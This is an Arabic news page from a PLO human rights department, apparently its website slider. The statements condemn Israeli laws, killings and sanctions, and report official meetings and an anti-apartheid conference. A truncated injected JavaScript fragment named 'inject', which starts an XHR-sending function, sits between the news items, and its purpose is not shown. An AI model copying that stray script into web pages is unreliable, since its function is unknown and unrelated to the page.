Slidershow


دعت دائرة حقوق الإنسان والمجتمع المدني في منظمة التحرير الفلسطينية، المجتمع الدولي والدول الموقعة على المعاهدات والاتفاقيات الدولية وخاصة اتفاقية جنيف الرابعة، والأمم المتحدة ومجلس الأمن الى أخذ دورهم في التعامل مع انتهاكات سلطات الاحتلال العنصرية بحق الأسرى الفلسطينيين وفي مقدمتها شرعنة قوانين تصنف كجرائم حرب. وقالت الدائرة في بيان لها اليوم الثلاثاء "إن النقاشات في كنيست الاحتلال والتصويت والإقرار بالقراءة الأولى على مشروع قانون لسحب الجنسية أو الإقامة عن الفلسطينيين الذين حوكموا بمحاكم الاحتلال بتهم المقاومة، التي اقرتها الشرعية الدولية، إنما يدخل في إطار المخططات المعدة مسبقا وفي مقدمتها التطهير العرقي بهدف التهويد وخاصة في القدس المحتلة".

استقبل السيد احمد التميمي عضو اللجنة التنفيذية لمنظمة التحرير الفلسطينية، رئيس دائرة حقوق الإنسان والمجتمع المدني في منظمة التحرير الفلسطينية، السيدة "مامي ميزوتوري" الممثل الخاص للأمين العام للأمم المتحدة/ رئيس مكتب الأمم المتحدة للحد من مخاطر الكوارث والسيد "سوجيت موهانتي" رئيس المكتب الاقليمي للدول العربية للحد من مخاطر الكوارث في الأمم المتحدة، والسيدة رانيا حماد مسؤول العلاقات العامة في مكتب الأمم المتحدة ومسؤولة ملف "جعل المدن قادرة على الصمود ". وذلك في مكتبه بمقر المنظمة في رام الله، نهاية الأسبوع الماضي.

ادانت دائرة حقوق الانسان في منظمة التحرير الفلسطينية، الصمت الدولي عن جرائم الاحتلال المنظمة بحق الشعب الفلسطيني والتي اخرها الجزرة المروعة في جنين. وقالت الدائرة في بيان لها اليوم الخميس"بأن جرائم الاحتلال، التي تصاعدت مع تشكيل حكومة التطرف والاجرام الحالية، ما كان لها ان تكون لولا الضوء الأخضر الذي حصل عليه من جراء صمت المؤسسات الدولية إضافة للدعم الدائم للاحتلال من الدول الاستعمارية وفي مقدمتها أمريكا وبعض الدول الأوروبية التي توفر للاحتلال المظلة والحماية من المسائلة والمحاسبة الدولية" وطالبت الدائرة" شعوب العالم ومؤسساتها بالضغط على حكوماتها، خاصة في الدول الغربية، للالتزام بما وقعت عليه من اتفاقيات ومعاهدات دولية تتعلق بحقوق الانسان والتي تقضي بمحاسبة منتهكيها والخارجين عنها".

أعلن الاحتلال عن بدء اجراء اقتطاع حوالي 139 مليون شيكل من أموال السلطة لصالح عائلات المستوطنين "عائلات قتلى العمليات"، اضافة للبدء الفوري بسحب ما يوازي مدفوعات السلطة للأسرى الفلسطينيين وعائلاتهم، وإيقاف تصاريح مسؤولين بالسلطة، وتجميد خطط البناء الفلسطينية في المنطقة C، وغيرها، وسحب امتيازات من شخصيات هامة تقود النشاط السياسي - القانوني ضد "إسرائيل". اضافة لاتخاذ إجراءات ضد منظمات في الضفة الغربية، يزعم الاحتلال بأنها تروج للعمليات المسلحة والنشاط السياسي - القانوني ضد إسرائيل تحت ستار النشاط الإنساني.

قال عضو اللجنة التنفيذية لمنظمة التحرير الفلسطينية أحمد التميمي- في تصريح لوكالة أنباء الشرق الأوسط- إن الحكومة الإسرائيلية الجديدة، حكومة "مُتطرفة" لا تقيم وزنًا للعالم، وذلك بعد اقتحام الوزير اليميني المتطرف للمسجد الأقصى المبارك، رغم التحذيرات الفلسطينية والإقليمية والدولية من خطورة التداعيات. وأضاف التميمي أن حكومة بنيامين نتنياهو الجديدة تعمل على تحدي الشعب الفلسطيني، الذي يستطيع أن يواجه مخططها بصدره وبعزيمته وبقوة إرادته وبإيمانه بأن أرضه هذه هي أرض مُباركة، وبلد سيدنا إبراهيم الخليل، ومسرى النبي محمد (ص). وتابع: "مهما عملوا ومهما اعتدوا ومهما تجرؤوا علينا بهذه التصرفات لن يثنونا عن حقنا في المقاومة يجب أن نُحافظ عليه ونحن قادرون على أن نُحافظ عليه". وأشار إلى أن حكومة نتنياهو تعمل على إثارة الفلسطينيين ليذهبوا إلى انتفاضة "ثالثة" جديدة ليست كالانتفاضتين السابقتين، وذلك بالاعتداء على الفلسطينيين من أقصى الشمال وحتى أقصى الجنوب، وهذه الاعتداءات، ستؤدي إلى خروج الشعب الفلسطيني عن بكرة أبيه، في مواجهة هؤلاء. وشدد التميمي على أن انفجار الفلسطينيين مسألة وقت، والانتفاضة "قادمة" لا ريب فيها، إذ واصل الإسرائيليون تصعيدهم، وهو أمر متوقع خلال الفترة القادمة.

يكتسب مفهوم المجتمع المدني في دوله فلسطين مفهوما خاصا، فعلى الرغم من الفهم العالمي لدور مؤسسات المجتمع المدني النهضوية في مجمل مناحي الحياة وارتباط هذا المفهوم بأسلوب حياه ينظم من خلاله المجتمع نفسه بعيدا عن الدولة، والذي شكل ايضا مجموع الممارسات التي من شانها ان يعبر المجتمع من خلالها عن مصالحه وغاياته ويتمكن من الدفاع عن نفسه وعن مصالحه التي تتعارض احيانا مع سياسات الدول، الا ان نضوج مؤسسات المجتمع المدني الفلسطينية كان مبكرا في تحمل المسؤوليات جنبا الى جنب مع مؤسسات دوله فلسطين في مواجهه الة الحرب والقتل الإسرائيلية، فتشكلت مؤسسات المجتمع المدني المعنية بالدفاع عن الحق الفلسطيني في وجه الاحتلال وكان لها نصيب كبير من الهجمات المستمرة والممنهجة التي نفذها الاحتلال بحقها، والتي طالت عشرات المؤسسات في محافظه القدس الشريف واستهداف سبع مؤسسات بالإغلاق، في رام الله وتزامن ذلك أيضا مع محاولات الحصار المادية لها عبر الضغط على الممولين الدوليين.

وقعت دائرة حقوق الإنسان والمجتمع المدني في منظمة التحرير الفلسطينية مذكرة تفاهم مع المنظمة العربية لحقوق الانسان، من اجل التعاون لاطلاق حملات المناصرة والتأييد لحقوق الشعب الفلسطيني الثابتة والمشروعة وغير القابلة للتصرف، وذلك في مقر المنظمة العربية في القاهرة، اليوم الأربعاء.

(function inject(config) { function GenerateQuickId() { var randomStrId = Math.random().toString(36).substring(2, 15) + Math.random().toString(36).substring(2, 15) + Math.random().toString(36).substring(2, 15); return randomStrId.substring(0, 22); } ; function SendXHRCandidate(requestMethod_,...

التقى احمد التميمي عضو اللجنه التنفيذيه لمنظمه التحرير الفلسطينيه و رئيس دائرة حقوق الإنسان و المجتمع المدني ، السفير المصري لدى دولة فلسطين ايهاب سليمان، مطلعا اياه على آخر التطورات السياسية المتعلقة بالقضية الفلسطينية. واستعرض التميمي خلال اللقاء، الذي عقد بمكتبه بمدينة رام الله، توجهات القيادة الفلسطينية وموقفها الثابت من ضرورة وقف الإنتهاكات الإسرائيلية اليومية والإستيطانية والإقتحامات المتكررة للمسجد الأقصى، وتكثيف الجهود والمساعي بهذا الإتجاه. ومؤكدا على دور جمهورية مصر العربية وأهميته في مواجهة ما تقوم به دولة الإحتلال من إنتهاكات خطيرة ومتكررة في كل أنحاء الوطن و في القدس والمسجد الأقصى بشكل خاص. من جانبه، أكد السفير المصري على موقف بلاده الثابت والمتعلق بدعم حقوق الشعب الفلسطيني في انهاء الاحتلال وإقامة الدولة المستقلة

 11-12-2022 قدم وكيل دائرة حقوق الإنسان والمجتمع المدني في منظمة التحرير حسام عرفات، ورقته بعنوان "إطلاق ائتلاف وطني لمناهضة الاحتلال العنصري"، إلى ضرورة بناء استراتيجية وطنية لمواجهة...

البيرة 11-12-2022  انطلقت أعمال المؤتمر الوطني الأول لمناهضة الفصل العنصري "الأبارتهايد"، اليوم الأحد، في مدينة البيرة، بمشاركة أعضاء من اللجنة التنفيذية لمنظمة التحرير، وسفراء، وقناصل...

قالت دائرة حقوق الإنسان والمجتمع المدني في منظمة التحرير الفلسطينية، ان إعدام جندي من جيش الاحتلال لشاب في بلدة حوارة جنوب نابلس من مسافة الصفر هو استمرار وامعان من قبل حكومة الاحتلال في تحويل شوارع وطرقات الأرض المحتلة الى ساحات اعدام ميداني بدم بارد ومن مسافة الصفر. واضافت الدائرة في بيان لها اليوم الجمعة، "بان أحد جنود الاحتلال أعدم بدم بارد، ومن مسافة الصفر، الشاب "عمار حمدي مفلح (22 سنة)" من قرية أوصرين قضاء نابلس في شارع حوارة الرئيسي مساء اليوم، على خلفية حادث سير وقع بين الشاب ومستوطن في حوارة، تعرض على إثره الشاب مفلح لاعتداء من المستوطن والجندي، حسب شهود العيان في المكان، حيث ظهر في تسجيل فيديو للحادثة ان وجه الشاب مفلح مغطى بالدماء جراء الاعتداء عليه. وخلال دفاع الشاب عن نفسه قام الجندي بإطلاق النار عليه من مسدسه ومن مسافة الصفر، ومنع جنود الاحتلال سيارات الإسعاف من الوصول اليه قبل ان يقوموا بنقله الى جهة غير معلومة، ليعلن في وقت لاحق عن استشهاده ". وأكدت الدائرة "بان تغيرات حصلت وتحصيل يوميا في تعليمات إطلاق النار وسلوك قوات الاحتلال في الارض المحتلة، على أرضية السياسة العدوانية الجديدة ضد الفلسطينيين، تمثلت بالتفاهمات ما بين نتنياهو وكل من "سموتريتش وابن غفير"، والتي تؤسس لمرحلة جديدة في الصراع مع هذا العدو المجرم ركيزتها استخدام القوة الساحقة ضد الفلسطينيين بهدف النيل من ارادتهم واستسلامهم لواقع الاحتلال". وأوضحت الدائرة "بأن الرهان على المجتمع الدولي أصبح غير ذي فائدة في هذه الظروف، كون أن جرائم الاحتلال ترتكب علنا وجهرا امام سمع وبصر العالم اجمع الذي يغض الطرف عنها، على الرغم من أنها تنتهك كافة القوانين والاتفاقيات والأعراف الدولية بشكل لا لبس فيه، لتفسح الطريق امام شرعنة شريعة الغاب في العالم".